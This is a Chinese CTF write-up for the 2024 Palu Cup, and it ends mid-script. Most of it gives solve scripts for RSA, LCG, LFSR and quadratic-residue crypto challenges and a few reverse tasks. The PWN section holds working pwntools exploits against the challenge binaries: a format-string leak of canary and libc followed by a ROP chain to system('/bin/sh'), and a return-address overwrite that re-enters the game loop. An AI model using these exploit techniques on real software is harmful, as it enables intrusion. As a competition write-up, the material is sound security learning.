[第一届 帕鲁杯 CTF挑战赛 2024] Crypto/PWN/Reverse

被一个小题整坏了,后边就没认真打。赛后把没作的复盘一下。

比赛有52个应急响应,猜是取证,都是队友在干,我也不大关心。前边大多题是比赛的原题。这是后来听说的,可都没见过,看来打的比赛还是少了。

Crypto

peeeq

这个题始终不明白什么意思,后来看WP,才大概明白。

题目唯一的提示是leak,而这个leak又与谁都没关系。assert看不明白,后来给了提示说是assert不对。

看WP其实是说leak为一个最小值,这些值都可以表示为k1p+k2q的形式。而这个最小值叫最大不可能K,从形式上猜跟φ有关。WP上说是φ-1,那就好办了。

import gmpy2
from Crypto.Util.number import *


def check(m, p, q):
    if m == 0: return True
    if m >= p and check(m-p, p, q) : return True
    if m >= q and check(m-q, p, q) : return True
    return False

flag = b"paluctf{***********************}"

p = getPrime(1024)
q = getPrime(1024)
e = getPrime(17)
n = p*q


pinv_e = gmpy2.invert(p, q)*e
qinv_e = gmpy2.invert(q, p)*e
m = bytes_to_long(flag)
c = pow(m, e, n)
print(c)
print(pinv_e)
print(qinv_e)
m = 0
while True:
    assert m <= leak or check(m, p, q)
    m += 1

leak = 20650913970072868759959272239604024297420806808659110564312051736808778949599012338389873196411652566474168134639876252857623310159737758732845898956842366935678501021994729279299799994075598575657211550223683499328614158165787416177094173112167115888930719187253398687736037116845083325669521670262760600243895871953940839864925909273175442587377607028910874730344252804963645659770898616148180806608083557249713184454706023876544328444568520666837841566163924062054001534893538655581481021600384148478571641075265311650046699619525464106135807483192890198614434965478741402348088647355476402189540171838712520668315
c = 14656499683788461319601710088831412892194505254418064899761498679297764485273476341077222358310031603834624959088854557947176472443021560072783573052603773463734827298069959304747376040480522193600487999140388188743055733577433643210327070027972481119823973316743393323273128561824747871183252082782459568278265418266528855123687868624734106855360408027492126167597948385055908257193701028960507382053300960017612431744000472268868103779169759349652561826935960615964589526055579319224213399173783902104833907847546751649110661705034653912439791460180154034041113546810232929706136321281991114377628823527206109309013
pinv_e = 12474140378771043865022148848078136936465079800066130234618983104385642778672967864991495110508733111980066517889153671507701349679185396054215439179349403857665966245686661757089470553109534987101888628107055364941617805783362125836104920292552457095662777743387917809524955960583091720618281570118299619677634759
qinv_e = 1647206449953560407401595632741127506095799998014240087894866808907042944168674423038307995055460808040825182837354682801054048594394389801771888111156812819183105159993880849157459496014737241461466870906700457127028184554416373467332704931423207098246831148428600375416541264997943693621557486559170922000282251
'''
题目描述有误 assert m <= leak or check(m, p, q) 中的leak为满足要求的最小值
对于 m > {x | x>=leak} 的 m 都必然满足 check(m, p, q) == True
'''

对于已知φ和伪逆的情况可以用z3直接解。

1,这里e未知,可以直接用gcd求出再分解一下找17位的素数。

2,列两个算式求解:n=pinv*p + qinv*q -1;phi = (p-1)*(q-1)

#factor(gcd(pinv_e,qinv_e))
#3 * 102563
e = 102563

pinv,qinv = pinv_e//e,qinv_e//e 

#最大不可能K=mp+nq 使>=K的值都能表示为mp+nq  K=pq-p-q = phi-1 
phi = leak+1 

import z3
import libnum
s = z3.Solver()
p, q = z3.Ints('p q')
#invp*p = 1 mod q ; invq*q = 1 mod p 
#????
s.add(p*q == pinv * p + qinv * q - 1)
s.add(phi == (p-1)*(q-1))

print(s.check())
m = s.model()

p = m[p].as_long()
q = m[q].as_long()

from Crypto.Util.number import *
m = pow(c,inverse(e,p-1),p)
long_to_bytes(m)
#b'paluctf{51b98a17-6843-4e3b-b06c-3cd956bc944c}'

 

gcccd

第2个题就比较简单了,给了c1 = m^e mod n; c2 = (m//2)^e mod n

from Crypto.Util.number import getStrongPrime, GCD, bytes_to_long
import os
from flag import flag

def long_to_bytes(long_int, block_size=None):
    """Convert a long integer to bytes, optionally right-justified to a given block size."""
    bytes_data = long_int.to_bytes((long_int.bit_length() + 7) // 8, 'big')
    return bytes_data if not block_size else bytes_data.rjust(block_size, b'\x00')

def gen_keys(bits=512, e=5331):
    """Generate RSA modulus n and public exponent e such that GCD((p-1)*(q-1), e) == 1."""
    while True:
        p, q = getStrongPrime(bits), getStrongPrime(bits)
        n = p * q
        if GCD((p-1) * (q-1), e) == 1:
            return n, e

def pad(m, n):
    """Pad the message m for RSA encryption under modulus n using PKCS#1 type 1."""
    mb, nb = long_to_bytes(m), long_to_bytes(n)
    assert len(mb) <= len(nb) - 11
    padding = os.urandom(len(nb) - len(mb) - 3).replace(b'\x01', b'')
    return bytes_to_long(b'\x00\x01' + padding + b'\x00' + mb)

def encrypt(m, e, n):
    """Encrypt message m with RSA public key (e, n)."""
    return pow(m, e, n)

n, e = gen_keys()
m = pad(bytes_to_long(flag), n)
c1, c2 = encrypt(m, e, n), encrypt(m // 2, e, n)

print(f"n = {n}\ne = {e}\nc1 = {c1}\nc2 = {c2}")

n = 128134155200900363557361770121648236747559663738591418041443861545561451885335858854359771414605640612993903005548718875328893717909535447866152704351924465716196738696788273375424835753379386427253243854791810104120869379525507986270383750499650286106684249027984675067236382543612917882024145261815608895379
e = 5331
c1 = 60668946079423190709851484247433853783238381043211713258950336572392573192737047470465310272448083514859509629066647300714425946282732774440406261265802652068183263460022257056016974572472905555413226634497579807277440653563498768557112618320828785438180460624890479311538368514262550081582173264168580537990
c2 = 43064371535146610786202813736674368618250034274768737857627872777051745883780468417199551751374395264039179171708712686651485125338422911633961121202567788447108712022481564453759980969777219700870458940189456782517037780321026907310930696608923940135664565796997158295530735831680955376342697203313901005151

由于flag以“}”结尾所在m是奇数,所以列式子的时候列成:

c1 = (2M+1)^e ,c2 = M^e然后用HGCD求解,原来一直用短填充,但用HGCD更快。反正都是模板。

from Crypto.Util.number import *
#half-gcd算法
def HGCD(a, b):
    if 2 * b.degree() <= a.degree() or a.degree() == 1:
        return 1, 0, 0, 1
    m = a.degree() // 2
    a_top, a_bot = a.quo_rem(x^m)
    b_top, b_bot = b.quo_rem(x^m)
    R00, R01, R10, R11 = HGCD(a_top, b_top)
    c = R00 * a + R01 * b
    d = R10 * a + R11 * b
    q, e = c.quo_rem(d)
    d_top, d_bot = d.quo_rem(x^(m // 2))
    e_top, e_bot = e.quo_rem(x^(m // 2))
    S00, S01, S10, S11 = HGCD(d_top, e_top)
    RET00 = S01 * R00 + (S00 - q * S01) * R10
    RET01 = S01 * R01 + (S00 - q * S01) * R11
    RET10 = S11 * R00 + (S10 - q * S11) * R10
    RET11 = S11 * R01 + (S10 - q * S11) * R11
    return RET00, RET01, RET10, RET11
    
def GCD(a, b):
    print(a.degree(), b.degree())
    q, r = a.quo_rem(b)
    if r == 0:
        return b
    R00, R01, R10, R11 = HGCD(a, b)
    c = R00 * a + R01 * b
    d = R10 * a + R11 * b
    if d == 0:
        return c.monic()
    q, r = c.quo_rem(d)
    if r == 0:
        return d
    return GCD(d, r)

PR.<x> = PolynomialRing(Zmod(n))
f1 = (2*x+1)^e - c1
f2 = x^e - c2

res = GCD(f1,f2)
m = -res.monic().coefficients()[0]
flag = long_to_bytes(2*int(m)+1)
print(flag)
#flag{6a096839-3ccb-46b4-9eb0-841ca85c0f63}

lcccg

这题给了一个lcg但是参数比较特殊a=2,b=0,然后结果只取了末位。取比flag长50位的值转整后与明白异或。

import secrets
from Crypto.Util.number import bytes_to_long

flag = b'paluctf{***********}'
class LCG:
    def __init__(self):
        self.x = secrets.randbits(64)
        self.a = 2
        self.m = secrets.randbits(64)
        
        while self.m % 2 == 0:
            self.m = secrets.randbits(64)
        
        print("m =", self.m)
    
    def next(self):
        self.x = (self.x * self.a) % self.m
        return self.x

lcg = LCG()

assert b"paluctf" in flag
f = bytes_to_long(flag)

l = f.bit_length()
print("length =", l)

r = 0
for i in range(l + 50):
    r += (lcg.next() & 1) << i

print("cipher =", r ^ f)

#-------------------------------
m = 7870528503754256659
length = 311
cipher = 3255815260238431584829132773479447408817850185229659648404208268001256903206776002292220185602856730646093869

对于这题想到了二分法,高位为1为上一半,为0为下一半,依次下去。而这个数比如1010与整个空间10000的比其实就是seed与模的比大概值。如果数字够长就会非常准。

这题给了50位,有点不够模是64位,不过由于知道flag头flag头8字节64位就足够了,但后边提示是头一定在,所以感觉这个flag开头不是paluctf{,可能有填充,所以爆破了一下,结果是没有填充。浪费。

m = 7870528503754256659
length = 311
cipher = 3255815260238431584829132773479447408817850185229659648404208268001256903206776002292220185602856730646093869
'''
#bit=1 则2*x>m 否则2*x<m
所以对于 k位的密文v 则有seed = v/(1<<k) 再进行小量爆破
'''
def print_r(x,v3,idx):
    tx = x
    r = 0
    for i in range(dim):
        x = (x*2)%m
        r += (x & 1) << i
    #print(bin(v3)[2:].zfill(64))
    #print(bin(r)[2:].zfill(64))
    if r == v3:
        print('ok:',tx)
        r = 0
        x = tx
        for i in range(361-(idx+1)*8):
            x = (x*2)%m
            r += (x & 1) << i
        v = long_to_bytes(r^(cipher>>(8*(idx+1))))
        print(idx,len(v),v)
        

#1,爆破头在哪 paluctf{ 头在开头
tc = cipher 
for i in range(39):
    tc >>=8
    v3 = (tc%(1<<64)) ^ bytes_to_long(b'paluctf{')
    seed = int(bin(v3)[2:].zfill(64)[::-1],2)*m // (1<<64)
    for j in range(20):
        print_r(seed+j,v3,i)

'''
ok: 4664793086826221388
30 8 b'paluctf{'
在右移31字符后得到干净的头
'''

 用这个种子重算得到加密流然后异或解密。

#2,差后部31字节 向前推31字节,得到flag
seed = 4664793086826221388
for i in range(8*31):
    seed = seed * inverse(2,m)%m

x = seed
r = 0
for i in range(361):
    x = (x*2)%m
    r += (x & 1) << i

print(long_to_bytes(r^(cipher)))
#b'paluctf{1_am_a_l0ng_l3g1n_1s_n0t_a_l!!}'

01110

这里先把明文作成2进制再当成10进制转整数,然后取每位与一个随机数的平方相乘。

from Crypto.Util.number import getPrime, getRandomRange, bytes_to_long
from random import randrange
from flag import flag

p = getPrime(512)
q = getPrime(512)
n = p * (q**2)
e = 65537

while True:
    z = randrange(1, n)
    if all(pow(z, (x - 1) // 2, x) == x - 1 for x in (p, q)):
        break

def encrypt_bit(m, n, z):
    secret = getRandomRange(1, n - 1)
    return (pow(secret, 2, n) * pow(z, m, n)) % n

m = int(bin(bytes_to_long(flag))[2:])
c = []
while m:
    bit = m % 10
    c.append(encrypt_bit(bit, n, z))
    m //= 10

print("n=", n)
print("gift1=", pow((p + q), e, n))
print("gift2=", pow((p - q), e, n))
print("z=", z)
print("c=", c)

至于是0还是1可以爆破,将c去年后边就变成随机数的平方,也就是说爆破下看是不是二次剩余。如果是0那乘以的是1它是二次剩余,为1则不是。

当bit=0时 c = pow(secret,2,n) 是二次剩余,当bit=1时 c = pow(secret,2,n)*z不是二次剩余

这题跟p,q没关系。给了反尔更容易多走路。

from gmpy2 import jacobi,invert
from Crypto.Util.number import long_to_bytes
ms = ''
for tc in c:
    if jacobi(tc,n)==1:  #是二次剩余
        ms+='0'
    else:
        ms+='1'

long_to_bytes(int(ms[::-1],2))
#paluctf{1_4m_th3_b0td_1n_t3st_1n_th3_r0w}

simple_crypto

这题唯一的提示是文件名lfrs.png.encrypt也就是说是lfrs加密的flag图片。

对于png图片前12字节是固定的,后边是IHDR+高宽,也就是知道16字节最大18(因为高度不好说,也可能是2字节)。

对于LFSR加密,mask为窗口长度,seed与mask对应位置异或后的和放尾部。这个需要爆破mask。由于只知道128位,所以小爆破一下。

* LFSR有个问题我一直不能确定:对于长度为k的mask成立时,长度为k+1也一定有对应的另外一个mask也能成立。也就是说比较16位时存在mask,17位是也存在mask,那么解密效果相同。mask取最小即可。

#取已知头部
msg = open('lfsr.png.encrypt','rb').read()
head = open('a.png','rb').read()[:0x10] #生成一个正常的png文件取头部对照

key = [head[i]^msg[i] for i in range(0x10)]
print(key)
sv = ''.join([bin(i)[2:].zfill(8) for i in key])
print(sv)
sv = 11001010111111100110111101101011010011010011100101111001110010100000000011100100111111010110010101010010111000100111111001000110

#爆破可用的mask
from z3 import *

def get_mask(key_len, skey):
    p = [BitVec(f"p{i}", 1) for i in range(key_len)]
    s = Solver()
    #print(key_len,len(skey))
    for i in range(len(skey)-1-key_len):  #验证长度
        key =  skey[i:key_len+i+1]
        s.add(int(key[-1]) == sum([p[_] for _ in range(key_len) if key[_]=='1']))
    
    if s.check() == sat:
        d = s.model()
        #print(d)
        mask = ''.join([str(d[p[i]]) for i in range(key_len)])
        return mask
    return False

#取已知明文一半,爆破所有可能的值
#取最短一个即可,有没有一个定理:如果K=len(mask)成立=>K+1也成立?
masks = []
for i in range(2,64):
    mask = get_mask(i,sv)
    if mask != False:
        print(i,mask)
        masks.append(mask)

不清楚刚说的成不成立,但能用,这里爆破出16以后都有,直接取16解,有人说取29其它都不行,我没理解。显然16-64都没问题。

###2,使用爆破到的mask求出足够长的加密流
def lfsr(seed,mask, retlen):
    retbin = seed
    retlen -= len(seed)
    seed = [int(i) for i in seed]
    mask = [int(i) for i in mask]
    for _ in range(retlen):
        b = sum([seed[i]*mask[i] for i in range(len(seed))])%2
        seed.append(b)
        seed.pop(0)
        retbin+= str(b)
    return bytes([int(retbin[i:i+8],2) for i in range(0,retlen,8)])

clen = len(msg)*8

###3,加密流与密文异或得到明文,爆破结果,所有可能的mask均可得到原文
from pwn import xor
for mask in masks:
    cipher = lfsr(sv[:len(mask)],mask, len(msg)*8)
    open(f's{len(mask)}.png', 'wb').write(xor(cipher,msg))
    break

 

crypto签到

一开始网站被Ddos攻击了,后来又被攻击了。

签到还下线了。一个字:该!

一个给p的RSA还要用远程,好无聊。

略。

玛卡巴卡有什么坏心思呢

玛卡巴卡玛卡巴卡轰达姆阿卡嗙轰阿巴雅卡阿巴雅卡阿巴雅卡轰达姆阿卡嗙轰哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰玛卡巴卡轰达姆阿卡嗙轰阿巴雅卡阿巴雅卡轰咿呀呦轰达姆阿卡嗙轰

略。说是从网上能搜到码表。如果没法搜到那个页面还没法作了。

两元钱的铜匠

还以为是二元copper smith其实不是

from secret import flag
from Crypto.Util.number import *
m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
n = p*q
c = pow(m, 65537, n)
N = getPrime(1024)
leak = (pow(9999, 66666)*p + pow(66666, 9999)*q) % N
print(f'n={n}')
print(f'c={c}')
print(f'N={N}')
print(f'leak={leak}')

注意这里是n和N,这个式子如果两边乘以p,就变成一元2次方程。

p*leak = 9999^66666*p^2 + 66666^999*n mod N

在sage里对有限域N求方程根。

n=80916351132285136921336714166859402248518125673421944066690210363157948681543515675261790287954711843082802283188843248579293238274583917836325545166981149125711216316112644776403584036920878846575128588844980283888602402513345309524782526525838503856925567762860026353261868959895401646623045981393058164201
c=22730301930220955810132397809406485504430998883284247476890744759811759301470013143686059878014087921084402703884898661685430889812034497050189574640139435761526983415169973791743915648508955725713703906140316772231235038110678219688469930378177132307304731532134005576976892978381999976676034083329527911241
N=175887339574643371942360396913019735118423928391339797751049049816862344090324438786194807609356902331228801731590496587951642499325571035835790931895483345540104575533781585131558026624618308795381874809845454092562340943276838942273890971498308617974682097511232721650227206585474404895053411892392799799403
leak=161177488484579680503127298320874823539858895081858980450427298120182550612626953405092823674668208591844284619026441298155371399651438065337570099147890081125477609238234662000811899869636390550619251741676887565983189442613760093303841954633720778312454175652907352477365434215186845209831284593041581382419

#p*q == n, a1*p+a2*q == leak mod N =>  a1*p^2 - leak*p + a2*n ==0 mod N
a1,a2 = pow(9999, 66666,N),pow(66666, 9999,N)
P.<p> = PolynomialRing(Zmod(N))
f = a1*p^2 - leak*p + a2*n
f.roots()

#[(106629367100406916315466325879020841571857885591730192765439666827411844199927696112373864480002028230623676089197780459822920505908628521220125929138381245686491638116937260902857393676211177541766160466286177892913861982882549327219419707722501990589121785234957751505157277673813563817780249578910215536985,  1), (7369460226203218007291482683484122432673051660657739743165520029005169640619453357512790807095244300800591778614929551073202263581117660350621325493923101,  1)]

p = 7369460226203218007291482683484122432673051660657739743165520029005169640619453357512790807095244300800591778614929551073202263581117660350621325493923101
bytes.fromhex(hex(pow(c,inverse_mod(0x10001,p-1),p))[2:])
#b'paluctf{6699669966996699669966996699}'

江枫渔火对愁眠

给了p|q和p&q分解n

from Crypto.Util.number import *
flag = b'paluctf{******************}'
p = getPrime(512)
q = getPrime(512)
m = bytes_to_long(flag)
n = p * q
e = 0x10001
c = pow(m, e, n)
leak1 = p & q
leak2 = p | q
print(n)
print(leak1)
print(leak2)
print(c)

n =116117067844956812459549519789301338092862193317140117457423221066709482979351921356314593636327834899992321545232613626111009441254302384449742843180876494341637589103640217194070886174972452908589438599697165869525189266606983974250478298162924187424655566019487631330678770727392051485223152309309085945253
leak1 = 8605081049583982438298440507920076587069196185463800658188799677857096281403951362058424551032224336538547998962815392172493849395335237855201439663804417
leak2 = 13407373154151815187508645556332614349998109820361387104317659096666170318961881115942116046384020162789239054091769561534320831478500568385569270082820389
c = 77391898018025866504652357285886871686506090492775075964856060726697268476460193878086905273672532025686191143120456958000415501059102146339274402932542049355257662649758904431953601814453558068056853653214769669690930883469679763807974430229116956128100328073573783801082618261383412539474900566590518020658

用了几个都不如自己原来写的,改着方便。

PR.<x> = PolynomialRing(Zmod(n))
ok = False
def pq_xor(tp,tq,idx):
    global ok 
    
    if ok:
        return 
    if tp*tq>n:
        return 
    if (tp+(2<<idx))*(tq+(2<<idx))<n:
        return 
        
    if idx<=120:
        print(hex(tp))
        print(hex(tq))
        try:
          for j in range(1<<2):  #已经位至少264位,再加2位
            f = tp + x + (j<<(120-2))
            rr = f.monic().small_roots(X=2^(120-2), beta=0.4, epsilon=0.05)
            if rr != []:
                print(rr)
                print(tp)
                print('p = ',f(rr[0]))
                ok = True
                return
        except:
            pass
        
        return
    
    idx -=1
    b1 = (leak1 >>idx)&1
    b2 = (leak2 >>idx)&1
    one = 1<<idx 
    if b1==0 and b2==0:
        pq_xor(tp,tq,idx)
    elif b1==1 and b2==1:        
        pq_xor(tp+one,tq+one,idx)    
    else:   #1
        pq_xor(tp+one,tq,idx)
        pq_xor(tp,tq+one,idx)
    

#N.nbits()=1023 gift.nbits()=512  p,q的512位为1
tp = 1<<511
tq = 1<<511
pq_xor(tp,tq,511)

#爆破得到p
p =  13246755426378578729876630630718068462717569987788401039611945190239825377062020349346567434694413153125153375769817998716719780574738862166452227093778437
q = n//p
d = inverse_mod(0x10001, (p-1)*(q-1))
m = pow(c,d,n)
bytes.fromhex(hex(m)[2:])
#b'paluctf{&&&|||&&&|||&&&&&&&&&&&&|||||||||}'

PWN

Palu

在main里有个printf漏洞,在base64_decode里有个溢出。虽然代码稍有点长,但还是比较标准的板子题。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  ...
  v10 = __readfsqword(0x28u);
  back_door1();
  puts("Please tell me your name");
  read(0, buf, 0x5DuLL);
  printf(buf);                 //printf
  opp11();
  read(0, s1, 2uLL);
  if ( !strcmp(s1, "1\n") )
  {
    puts("Please enter the data you want to encode");
    read(0, s, 0x3CuLL);
    v4 = strlen(s);
    ptr = palu64_encode((__int64)s, v4);
    if ( !ptr )
    {
      puts("Memory allocation failed.");
      return 1;
    }
    printf("palu64 Encoded: %s\n", ptr);
    free(ptr);
  }
  else
  {
    if ( strcmp(s1, "2\n") )
    {
      puts("Invalid option");
      exit(0);
    }
    printf("Enter a palu64 string to decode: ");
    fgets(s, 0x3C, stdin);
    v6 = strlen(s);
    if ( s[v6 - 1] == 10 )
      s[v6 - 1] = 0;
    decode_palu64(s);  
  }
  return 0;
}
unsigned __int64 __fastcall decode_palu64(const char *a1)
{
  char *v1; // rax
  int v2; // eax
  int v3; // eax
  int v4; // eax
  char *s; // [rsp+8h] [rbp-68h]
  int v7; // [rsp+20h] [rbp-50h]
  int i; // [rsp+24h] [rbp-4Ch]
  size_t v9; // [rsp+30h] [rbp-40h]
  char *haystack; // [rsp+38h] [rbp-38h]
  int v11; // [rsp+40h] [rbp-30h]
  int v12; // [rsp+44h] [rbp-2Ch]
  int v13; // [rsp+48h] [rbp-28h]
  int v14; // [rsp+4Ch] [rbp-24h]
  char buf[24]; // [rsp+50h] [rbp-20h] BYREF
  unsigned __int64 v16; // [rsp+68h] [rbp-8h]

  s = (char *)a1;
  v16 = __readfsqword(0x28u);
  v9 = (3 * strlen(a1)) >> 2;
  haystack = (char *)malloc(v9 + 1);
  if ( haystack )
  {
    v7 = 0;
    while ( *s )
    {
      for ( i = 0; i <= 3; ++i )
      {
        v1 = s++;
        *(&v11 + i) = palu64_decode((unsigned int)*v1);
      }
      v2 = v7++;
      haystack[v2] = (4 * v11) | (v12 >> 4);
      if ( v13 <= 63 )
      {
        v3 = v7++;
        haystack[v3] = (16 * v12) | (v13 >> 2);
      }
      if ( v14 <= 63 )
      {
        v4 = v7++;
        haystack[v4] = ((_BYTE)v13 << 6) | v14;
      }
    }
    haystack[v7] = 0;
    if ( strstr(haystack, "Palu") )
    {
      puts("A small gift");
      read(0, buf, 0xC8uLL);                    // 溢出
    }
    printf("Decoded string: %s\n", haystack);
    free(haystack);
  }
  else
  {
    puts("Memory allocation failed.");
  }
  return __readfsqword(0x28u) ^ v16;
}

这里不清楚什么原因直接输入Palu会不行,前边需要加点填充

from pwn import *
from base64 import *

context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')

#p = process('./Palu')
#gdb.attach(p, "b*0x400df8\nc")
p = remote('127.0.0.1', 24645)

p.sendafter(b"Please tell me your name\n", b'%22$p,%23$p,%25$p,/bin/sh\x00')
stack = int(p.recvuntil(b',', drop=True),16)
canary = int(p.recvuntil(b',', drop=True),16)
libc.address = int(p.recvuntil(b',', drop=True),16) - 240 - libc.sym['__libc_start_main']
print(f"{stack=:x} {canary = :x} {libc.address = :x}")

p.sendlineafter(b"Please tell me your options\n", b'2')
p.sendlineafter(b"Enter a palu64 string to decode: ", b64encode(b'aPalu\0'))
#backdoor
pop_rdi = 0x00000000004010a3 # pop rdi ; ret
pop_rsi = 0x00000000004010a1 # pop rsi ; pop r15 ; ret
p.sendlineafter(b"A small gift", flat(0,0,0,canary,0, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh')), libc.sym['system']))


p.interactive()

小游戏

这题拿到1血,一直坚持到比赛关门才有二血。

代码比较长,估计没人想看了。大概理一下,应该就不难了。

1,在proof里作了个个简单的2字节爆破proof

2,在read_flag_and_init_map里读入flag并放在地图角上,位置随机,在4个解的25*25内。

3,game里支持上下左右移动,但只能走0的位置

4,图上的起点在25这个边的内部,flag在外部有一圈数字无法穿越

5,当输入字符大于w时会输出 printf("Invaild : %s\n", &v1); 

6,当到达flag所在位置会输出flag

这题有问题就是怎么穿墙。起点在圈内,终点在圈外。

漏洞在于在game函数中调用 sub_25D1(&v1, 37); 而v1只有1字节后边是i和canary,在这里读入37字节会发生溢出出,但后边只溢出16字节无法写ROP。

坑:

1,这些数字墙是通过random生成的,前边是srand(time(0))但是无法同步。后来看这里没用

2,溢出时写37字节恰好到libc_start_main_ret但是得到后只有16字节又无法写ROP,one_gadget也都试了没用。其实用不着libc,再少给俩字节多好。

3,墙是随机的,写了Dijstra算法找最优路径,但发现墙有外圈,不穿墙过不去。

4,遍历图规模太大400*400。但flag在4角,每个角25*25,加上换角只需要25^2*4+350*3并不太大

这题的难度就在于坑,每个坑都需要走好远,发现不行了再回来重新开始。

思路:

1,先通过溢出,开头写大于w的字符得到canary和elf地址

2,在输入里修改返回main的地址从0x2bde( game运行后)改为0x2bd4(game运行前)重入,由于在遇到墙退出里已经修改指针到新位置,所以穿越回game后会从新位置重新开始,从而达到穿墙目的。

3,通过遍历4个解得到flag

from pwn import *
from hashlib import sha256

context(arch='amd64', log_level='error')
libc = ELF('/home/kali/glibc/libs/2.35-0ubuntu3-amd64/libc.so.6')
elf = ELF('./YUZ')

#p = process('./YUZ')
#gdb.attach(p, "b*0x555555556a8b\nc")
p = remote('127.0.0.1', 35061)

#1,proof
p.recvuntil(b'guidance."\n')
head = bytes.fromhex(p.recv(14).decode().replace(' ', ''))
p.recvline()
shahex = p.recvline().strip().decode()
for i in range(256):
  for j in range(256):
    v = head+bytes([i,j])
    v = sha256(v).hexdigest()
    if v == shahex:
       p.sendafter(b':', f"{i:02x} {j:02x}".ljust(10, '\0').encode())
       break

'''
0x00007fffffffde60│+0x0000: 0x7878787878ffdf98   ← $rsp
0x00007fffffffde68│+0x0008: 0xf8d9d29ea6a41b78
0x00007fffffffde70│+0x0010: 0x008be8dd836c5ddc   ← $rbp
0x00007fffffffde78│+0x0018: 0x0000555555556bde  →   mov eax, 0x0
0x00007fffffffde80│+0x0020: 0x0000000000000001
0x00007fffffffde88│+0x0028: 0x00007ffff7def18a  →  <__libc_start_call_main+122> mov edi, eax
'''
#2,leak   5+canary+rbp+gameret+rbp+libc
#get canary
for i in range(5): p.recvline()
point = eval(p.recvline())
print(point)
p.sendline(b'x'*6)
p.recvuntil(b'x'*6)
canary = b'\x00'+ p.recv(7)
print(canary.hex())

#elf
p.sendlineafter(b')\n', b'x'*21)
p.recvuntil(b'x'*21)
elf.address = u64(p.recv(6)+b'\x00'*2) - 0x2bde
print(f"{elf.address =:x}")

#libc
p.sendafter(b')\n', b'x'*37)
p.recvuntil(b'x'*37)
libc.address = u64(p.recv(6)+ b'\x00'*2) - 0x29d90
print(f"{libc.address = :x}")

pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh  = next(libc.search(b'/bin/sh'))

pay = b'x'+p32(0)+ flat(canary,0,elf.address+0x2bd4,1)
p.sendafter(b')\n',pay)

#go (0,0)
print('-------2')
path1 = 'w'*point[0]+'a'*point[1]
for v in path1:
    while True:
        msg = p.recvline()
        if b',' in msg:
            break
        print(msg)
    pay = v.encode()+p32(0)+ flat(canary,0,elf.address+0x2bd4,1)
    p.send(pay)

#search corner
print('-------3')
path = ('d'*25+'s'+'a'*25+'s')*12 + 'd'*400 + ('w'+'a'*25+'w'+'d'*25)*12 + 's'*400 + ('a'+'w'*25+'a'+'s'*25)*12 + 'a'*375 + ('w'+'d'*25+'w'+'a'*25)*12
for v in path:
    while True:
        msg = p.recvline()
        print(msg)
        if b',' in msg:
            break
        if b'flag' in msg:
            print(msg)
    pay = v.encode()+p32(0)+ flat(canary,0,elf.address+0x2bd4,1)
    p.send(pay)

p.interactive()

#b'(394, 395)\n'
#b"You successfully destroyed the enemy's signal generator! flag is:flag{b4fa8d5f-a3cd-4388-a611-db1f5d4c975e}\n"

Reverse

看名字就知道是tea加密了。从IDA的findcrypt找到salsa20,虽然不是tea但也没啥问题。与lfrs,rc4差不多这种流加密,只要获得了流就OK了,而获得流的办法就是随便弄个明文再加密一次。

odbg先在比较位置下断点,输入‘000000000000000000000000000000000’,断开后得到加密后的密文和,flag的密文。由于salsa20是异或加密,直接对3都异或。

c = 'f568c48912eed6dc520c7164f44b6378e1d0d3e248914fa8847b405a131f'
b = "a33495de599c93983d751e18ad1036179288829110c04da8eb061f184652"
v = '0'*30

from pwn import xor
xor(xor(v.encode(),bytes.fromhex(b)),bytes.fromhex(c))
b'flag{But_I_Like_ChaCha20_More}'

Auth System

从ida找到这个

int sub_401550()
{
  int ii; // [rsp+28h] [rbp-18h]
  int n; // [rsp+2Ch] [rbp-14h]
  int m; // [rsp+30h] [rbp-10h]
  int k; // [rsp+34h] [rbp-Ch]
  int j; // [rsp+38h] [rbp-8h]
  int i; // [rsp+3Ch] [rbp-4h]

  for ( i = 0; (unsigned __int64)i <= 0x6D; ++i )
    putchar(aUuUUuUUuuuUuuu[i] ^ 0xA);
  putchar(10);
  for ( j = 0; (unsigned __int64)j <= 0x6D; ++j )
    putchar(aTwWTtTTtTWTttw[j] ^ 0xB);
  putchar(10);
  for ( k = 0; (unsigned __int64)k <= 0x6D; ++k )
    putchar(aPPspPSlPSlPpPS[k] ^ 0xC);
  putchar(10);
  for ( m = 0; (unsigned __int64)m <= 0x6D; ++m )
    putchar(aQRqQRqQRq11Rrr[m] ^ 0xD);
  putchar(10);
  for ( n = 0; (unsigned __int64)n <= 0x6D; ++n )
    putchar(aRqrRqrrqqQrrqq[n] ^ 0xE);
  putchar(10);
  for ( ii = 0; (unsigned __int64)ii <= 0x6D; ++ii )
    putchar(aSpppSpsSppppps[ii] ^ 0xF);
  return putchar(10);
}

然后弄出来。注意这里不要用bytes因为转义后会乱,看不出来。

a = ['**UU*U***************UU**U****UUUU***UUUU*UUU*UUU********U****UUUU*UUUUU***UUU*UUUU*****UUUUU*U***U*U***UUU***',
'+$+Tw+w+TT+T++TT+T++$+$+$+W++$+TTTw+$+TTTwT+TwT+Tw++++++$+W++w++T+WT+++Tw+wT+T$+TTTw+++w++TTTw+w+w+w+W+w+W+W++',
'p,pSp,p#,Sl,p#,Sl,pp,p,#,S,P,PSSS,Pp,p,,,,p,p,p,p,,,,,,#,S,P,p,pS%,pp,p,,,,p,pPSSS,P,,,p,pS,,p,p,p,p,,Pp,pp,p,',
'q--Rq-q-%Rq-q-%Rq-1-1-"-RRR-Q-RRR$-q-qRRR-q-q-q-q-----"-RRR-Qq--R-1-q-q----q-q-RRR$-q--q--Rq-q-qRq-q-qQ--q-3-3',
'rQr.rQrRQQ"QrRQQ".rr.!Q!...RQRQQQQ!.RQQQQrQQQrQQQrQQQ!Q!...RQRQr.RQRrQrQQQrQQQrQQQQ!QQQrQr....RQQQ!rQr.RQrr.r.',
'/sPPP //SPS/sPPPPPs//sPPPPPs//sPPPPPs P //']

for i in range(6):
    print(bytes([v^^(i+0xa) for v in a[i].encode()]).decode())

 

PyLu

又是python打包的exe文件,解开后填加头,然后到网站上解密。原先tool.lu已经不行了,没想到这题居然又能用了。

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.11

from Crypto.Util.number import bytes_to_long

def enc(key):
    R = bytes_to_long(b'Welcome To PaluCTF!')
    MOD = 2 ** 418
    R = R ^ R - 60 >> 24
    R = R ^ R - 60 << 88
